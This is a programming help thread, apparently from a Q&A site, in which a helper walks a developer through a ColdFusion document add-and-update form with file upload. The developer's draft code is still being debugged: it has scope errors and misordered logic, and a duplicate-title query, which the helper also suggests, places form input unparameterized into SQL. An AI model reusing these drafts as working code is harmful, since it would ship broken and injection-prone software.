You need to put inside this CFIF statement all your code that you need when the person submits the form.   This includes the upload code to upload your files.  

You have a second  <cfif IsDefined("FORM.doSave")>   lower in your code page.   You need to take the contents of this section and merge it into the action processor at the top of the page.   There is no reason to have this twice.

Where do you put it inside your action processor section?   Just think about the logic needed and in what order...


1.  Validate all user input (required fields, check for duplicate name if needed)
2.  Create main record
3.  Upload files
4.  Create File Records
5.  Everything ok?  Good, then redirect to next page
6.  Catch any errors

Please try merging your two form.doSave (action processing areas) and show the code


0
gdemariaCommented:
Regarding your question, you can change this...

 <cfset FormTitle="Update a Document">
 <cfset ButtonText="Update">


  <!--- text for form title and Button, when adding a document --- not sure where this goes --->
 <cfset FormTitle="Add a Document">
 <cfset ButtonText="Add Document">


to this...

<!----- if record already exists (it will have an ID) so update it, otherwise, add new record...
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>

0
Eric BourlandAuthor Commented:
gdemaria,

Starting with the first part of your reply:

The problem is, this client, CEP, has many many documents, many of which have very similar titles. So, I just want to test and see if a title has been entered in the database. (I took this idea from the code you sent me initially -- it is a useful function to add to this form.)

You said that, in my QUERY, I need to "add a where clause to fetch the document name that the user has entered" .... which makes sense.

Hmmm. Something like? ....

 <cfquery datasource="#ds#"  name="GetDocumentList">
   SELECT D.DocumentID
           , D.DocumentTitle
         , D.DocumentType
         , D.DocumentAuthor
         , D.DocumentAbstract
         , D.DocumentPublicationDate
         , D.SSMA_TimeStamp
         , D.DateRecordModified
         , F.DocumentID
         , F.FileID
         , F.FileName
         , F.FileExtension
         , F.FileType
         , F.FileSize
         , F.isDeleted
    FROM tbl_CEP_Documents D
    left join tbl_CEP_files F on F.documentID = D.documentID
  WHERE D.DocumentID = F.DocumentID
  AND D.DocumentTitle <> Form.DocumentTitle
  ORDER BY D.DocumentID ASC
  </cfquery>

(I'm really going out on a limb here.)

I understand -- mostly -- your other two responses and I will work on them and get back to you ASAP, later this evening.

Thank you! Peace.

Eric
0
gdemariaCommented:

A few things regarding this query.

First, the select statement.   There's no reason to select a long list of column.  You only want to know if the documentTitle already exists in the database.   So all you need is a 'is record found' or 'is record not found' result.   So, save some processing and SELECT '1' FROM ....   You also don't need the Join, you don't care if the document has files are not, you just want to know if the document exists.

So...  SELECT 'Nothing' FROM tbl_CEP_Documents

Next, is this the right format for a Coldfusion variable?

AND D.DocumentTitle <> Form.DocumentTitle

Your database will think Form.DocumentTitle is the name of a table and a column.
You need the #s and you need single quotes because it's a string

So...
SELECT 'Nothing' FROM tbl_CEP_Documents
WHERE DocumentTitle <> '#Form.DocumentTitle#'

One More...
Let's say the document title entered is "World Strategy"


SELECT 'Nothing' FROM tbl_CEP_Documents
WHERE DocumentTitle <> 'World Strategy'

Look at this query, you are fetching all the documents from CEP_Documents whose Title is NOT "World Strategy" ... so if you have 300 documents in your table and none of them are called World Strategy, this query will return all 300 titles.   Does that tell you if you have a document called World Strategy?  no... It only tells you that you have a ton of documents NOT called World Strategy.   You want to find any document that HAS the name you're testing.

Right?
0
Eric BourlandAuthor Commented:
=)

*sheepish*

All right I'm on it.
0
Eric BourlandAuthor Commented:
gdemaria,

Making progress with code. Your suggestions make sense.

This logic:

1.  Validate all user input (required fields, check for duplicate name if needed)
2.  Create main record
3.  Upload files
4.  Create File Records
5.  Everything ok?  Good, then redirect to next page
6.  Catch any errors

Yes.

I am fixing errors one by one as they appear, and will show you some code tomorrow. Thank you again. Good night.

Eric
0
Eric BourlandAuthor Commented:
gdemaria,

I have made a lot of progress. I get the form to display without an error:

http://ebwebwork.com/cep/admin/insert_update.cfm

This form posts to itself; there is no process or CFC file. I really like this.

I have a couple of questions:

When I process the form I get this error:

 Element ERROR is undefined in CFCATCH.
 
The error occurred in C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 98

96 :   <!-- this will trap any errors- the ones you threw or just regular database issues --->
97 :   <cfcatch type="Any">
98 :     <cfset variables.error = cfcatch.error>
99 :   </cfcatch>
100 :   </cftry>


And, I do not understand the purpose of this code, around line 83:

            <cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>

What does that do?

Finally, I am not sure how we are populating the fields in table tbl_CEP_files ... but I have feeling we will get to that next, and I will be patient. =)

Thank you again for your help. I hope you are enjoying the holiday (if you celebrate Easter). Take care.

Eric
<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for DocumentID in scope FORM --->
<cfparam name="form.DocumentID" default="">

 <!--- Set datasource --->
 <cfset ds="ebwebwork">

<cfset variables.error = ""> <!---- populate this with an error message ---->


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->

<cfif IsDefined("FORM.doSave")>


  <cftry>  <!---- begin CFTRY; catch any errors, whether you throw them or the database does ---->

    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>

 <!--- in this query select nothing from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = '#Form.DocumentTitle#'
  </cfquery>
   
  
   <!--- if DocumentTitle exists, throw error, refuse record insert --->
   
	<cfif DocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(ARGUMENTS.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#ARGUMENTS.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        
        	<!--- here is where I get confused ---- do I need this next bit of code? what does it do? --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>

    </cfif>
    
	
	<!--- everything went ok, go to next page --->
	<cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">
	
  <!-- this will trap any errors- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.error>
  </cfcatch>
  </cftry>
  <!---- end CFTRY ---->
  
</cfif>

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
<cfif len(variables.error) eq 0>
  <!--- get data and convert to form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  
  

</cfif>


<cfif len(variables.error)> <!-- if an error, show it --->
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>


  <cfquery datasource="ebwebwork" name="GetDocumentList">
  SELECT D.DocumentID
  	 , D.DocumentTitle
     , D.DocumentType
     , D.DocumentAuthor
     , D.DocumentAbstract
     , D.DocumentPublicationDate
     , D.SSMA_TimeStamp
     , D.DateRecordModified
     , F.DocumentID 
     , F.FileID
     , F.FileName
     , F.FileExtension
     , F.FileType
     , F.FileSize
     , F.isDeleted
FROM tbl_CEP_Documents D
  left join tbl_CEP_files F on F.documentID = D.documentID
  WHERE D.DocumentID = F.DocumentID
  ORDER BY D.DocumentID ASC
  </cfquery>
  
<!--- Add/update Document form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#GetDocumentList.documentID#" />
<input type="hidden" name="fileID" value="#GetDocumentList.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#GetDocumentList.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
   <select name="DocumentType" value="#GetDocumentList.DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#GetDocumentList.DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#GetDocumentList.DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#GetDocumentList.DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


 <tr>
  <td>
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">



<!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->

 <cftry> 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>

  <cfset fileuploaded = true>
  
  <cfcatch type="any">
    <cfset fileuploaded = false>
  </cfcatch>

<!--- end CFTRY --->  
</cftry>



<!--- if file were uploaded successfully --->
<cfif fileuploaded>

<div class="bluebox"><strong>File uploaded! Success!</strong></em></div>
 
 <!--- if file were not uploaded --->
  <cfelse>
  
  <div class="redbox"><strong>File did not upload. Make sure to upload only files with extension jpg, jpeg, png, gif, doc, docx, pdf, ppt, xls, xlsx, txt. Use the Browse button, below, to browse your computer or server for a file to upload.</strong></div>
  
  
   </cfif>
 <!--- end cfif fileuploaded --->
  
   




</td>

 </tr>
</table>

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />


<div class="align-center">

<cfoutput>
  <input name="doSave" type="submit" value="#ButtonText#" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />
</cfoutput>

</div>


</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:
Sorry...

this...

<cfset variables.error = cfcatch.error>

should be...

<cfset variables.error = cfcatch.message>


To find that, just check google "cfcatch reference"
0
gdemariaCommented:
is your database SQL Server?

If it is, this block of code will fetch the identify column's value.  That is, the primary key value will be automatically populated for you (documentID).   This will fetch that value and place the number into the variable DocumentID.

        <cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>


If you're using Oracle, you should use the sequence number approach that oracle uses instead of this.

If you're using a different database, you should do whatever you normally do instead of this code to get the documentID after creating the record.

0
Eric BourlandAuthor Commented:
Got it. I use MS SQL Server 2005 and ColdFusion 8. I am working on these fixes. More soon. EB
0
gdemariaCommented:
This is the part of the code that I was talking about before that needs to be inside your action processing area at the top.   You currently have it embedded inside your form.

This code uploads the file, that's processing stuff.   You should move it into the CFIF at the top of the page.   There is already a try and catch there, you so don't need another one.

make sense?

 <cftry> 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>

  <cfset fileuploaded = true>
  
  <cfcatch type="any">
    <cfset fileuploaded = false>
  </cfcatch>

<!--- end CFTRY --->  
</cftry>

Open in new window

0
Eric BourlandAuthor Commented:
I was wondering about the two instances of TRY and CATCH and was gonna ask about them. Got it!
0
gdemariaCommented:
Ok Eric, I understand this next part can be very confusing, but its' really a huge technique if you can get it.

In your fields, you want to use the FORM scope to identify your values...

So this...
   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#GetDocumentList.DocumentAbstract#</textarea>
   </cfoutput>


Should use this...
#form.DocumentAbstract#


Same thing for every form field, you want to change the  GetDocumentList scope to FORM scope..


Then, in this query, you want to copy all your values into the form scope.  That way the fields will all have their correct values.

<cfif len(variables.error) eq 0>
  <!--- get data and convert to form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
</cfif>


So add back in the field copy from my original example...

  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfset form.documentID    = getDocumentDetails.documentID>
  <cfset form.documentTitle = getDocumentDetails.documentTitle>
  .... etc....


If you want a short cut for this, you can do this CFLOOp to loop through all the fields and copy the value into FORM scope variables...

  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>

That will copy of your values so you don't have to list each one.


Ok, so why are we doing that?

By using the form scope in the value="" parameter of the form fields, we are allowing form errors to fall back down through the page.   The value entered by the user will still be visible but not saved.

here's an example.

Let's say the document title in the database is "Basic Process"  
The user goes to edit this document and changes the title to "Advanced Process"

The user submits the form but there is some type of error (perhaps another required field is left blank or perhaps "Advanced Process" is already taken by another document).

The error throws and is caught by cfcatch,  the <CFIF statement around the query prevents the query to run again (so the database values are NOT put into the fields again).   When the form displays again, the value of the documen title is "Advanced Process"  and you show the error message, but this value has not been saved in the database.   Gladly the user does not have to re-enter all his values, just fix the error and submit again.

It will make more sense once the page is ready and you can play with it.


0
gdemariaCommented:
Note that these two queries do the same thing...


<cfif len(variables.error) eq 0>
  <!--- get data and convert to form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>



and...



  <cfquery datasource="ebwebwork" name="GetDocumentList">
  SELECT D.DocumentID
         , D.DocumentTitle
     , D.DocumentType
     , D.DocumentAuthor
     , D.DocumentAbstract
     , D.DocumentPublicationDate
     , D.SSMA_TimeStamp
     , D.DateRecordModified
     , F.DocumentID
     , F.FileID
     , F.FileName
     , F.FileExtension
     , F.FileType
     , F.FileSize
     , F.isDeleted
FROM tbl_CEP_Documents D
  left join tbl_CEP_files F on F.documentID = D.documentID
  WHERE D.DocumentID = F.DocumentID
  ORDER BY D.DocumentID ASC
  </cfquery>
 


These two queries do the same thing, fetch your data from the database to display in the form.  You don't need both.

You should delete the second one.   The first one we discussed before, it is inside the <CFIF that tests for the error and you will add the <CFLOOP to copy the values into the form fields.   So you want to delete the second query "GetDocumentList"

0
Eric BourlandAuthor Commented:
OK, I have consolidated the two CFTRY statements.

However, when I remove this code:

  <cfquery datasource="ebwebwork" name="GetDocumentList">
  SELECT D.DocumentID
         , D.DocumentTitle
     , D.DocumentType
     , D.DocumentAuthor
     , D.DocumentAbstract
     , D.DocumentPublicationDate
     , D.SSMA_TimeStamp
     , D.DateRecordModified
     , F.DocumentID
     , F.FileID
     , F.FileName
     , F.FileExtension
     , F.FileType
     , F.FileSize
     , F.isDeleted
FROM tbl_CEP_Documents D
  left join tbl_CEP_files F on F.documentID = D.documentID
  WHERE D.DocumentID = F.DocumentID
  ORDER BY D.DocumentID ASC
  </cfquery>

I get this error:

 Element DOCUMENTID is undefined in GETDOCUMENTLIST.
 
The error occurred in C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 160

158 :  <!--- Embed documentID (PK) and fileID as hidden fields --->
159 :  <cfoutput>
160 : <input type="hidden" name="documentID" value="#GetDocumentList.documentID#" />
161 : <input type="hidden" name="fileID" value="#GetDocumentList.fileID#" />
162 :  


.... which is why I put that code in there. So I need to NOT define variable DOCUMENTID in scope GETDOCUMENTLIST, correct? But, I know that I need to scope all of my variables. How should I scope variable DOCUMENTID and my other variables?
<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for DocumentID in scope FORM --->
<cfparam name="form.DocumentID" default="">

 <!--- Set datasource --->
 <cfset ds="ebwebwork">

<cfset variables.error = ""> <!---- populate this with an error message ---->


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->

<cfif IsDefined("FORM.doSave")>


  <cftry>  <!---- begin CFTRY; catch any errors, whether you throw them or the database does ---->
  

    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>

 <!--- in this query select NOTHING from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = '#Form.DocumentTitle#'
  </cfquery>
   
  
   <!--- if DocumentTitle exists, throw error, refuse record insert --->
   
	<cfif DocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(ARGUMENTS.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#ARGUMENTS.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        


<!--- fetch the identify column's value --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>

    </cfif>
    
     

	
	<!--- everything went ok, go to next page --->
	<cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

  <!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
  
  <!-- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
  </cfcatch>

<!--- end CFTRY --->  
</cftry>
  
  

  
</cfif>

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
<cfif len(variables.error) eq 0>
  <!--- get data and convert to form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  
  

</cfif>


<cfif len(variables.error)> <!-- if an error, show it --->
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>


  
<!--- Add/update Document form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#GetDocumentList.documentID#" />
<input type="hidden" name="fileID" value="#GetDocumentList.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#GetDocumentList.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
   <select name="DocumentType" value="#GetDocumentList.DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#GetDocumentList.DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#GetDocumentList.DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#GetDocumentList.DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


 <tr>
  <td>
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">


 <cfset fileuploaded = true>


<!--- if file were uploaded successfully --->
<cfif fileuploaded>

<div class="bluebox"><strong>File uploaded! Success!</strong></em></div>
 
 <!--- if file were not uploaded --->
  <cfelse>
  
  <div class="redbox"><strong>File did not upload. Make sure to upload only files with extension jpg, jpeg, png, gif, doc, docx, pdf, ppt, xls, xlsx, txt. Use the Browse button, below, to browse your computer or server for a file to upload.</strong></div>
  
  
   </cfif>
 <!--- end cfif fileuploaded --->
  
   
</td>

 </tr>
</table>

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />


<cfoutput>
  <input name="doSave" type="submit" value="#ButtonText#" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />
</cfoutput>




</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
Eric BourlandAuthor Commented:
gdemaria,

Hang on, I just saw your other comment. I am working on that now.

eric
0
gdemariaCommented:
I think you skipped over a post or two.

Please see my comments above, I posted multiple posts one right after the other.

The post you need is the one where you use FORM instead of getDocuementList
0
Eric BourlandAuthor Commented:
I got it. It's making sense. More in a sec.
0
Eric BourlandAuthor Commented:
It's almost working. The CFLOOP makes sense and is very cool.

I notice, in the code, that we have <cfif len(variables.error)> twice:

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
 
  <cfif len(variables.error) eq 0>
   
  <!--- get data and convert to form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>
   
</cfif>



<cfif len(variables.error)> <!-- if an error, show it --->
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>

Is that correct?

The form shows up without an error, but when I process the form, I get this error again:

"You have attempted to dereference a scalar variable of type class java.lang.String as a structure with members."
<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for DocumentID and FileID in scope FORM --->
<cfparam name="form.DocumentID" default="">
<cfparam name="form.FileID" default="">

 <!--- Set datasource --->
 <cfset ds="ebwebwork">

<cfset variables.error = ""> <!---- populate this with an error message ---->


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->

<cfif IsDefined("FORM.doSave")>


  <cftry>  <!---- begin CFTRY; catch any errors, whether you throw them or the database does ---->
  

    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>

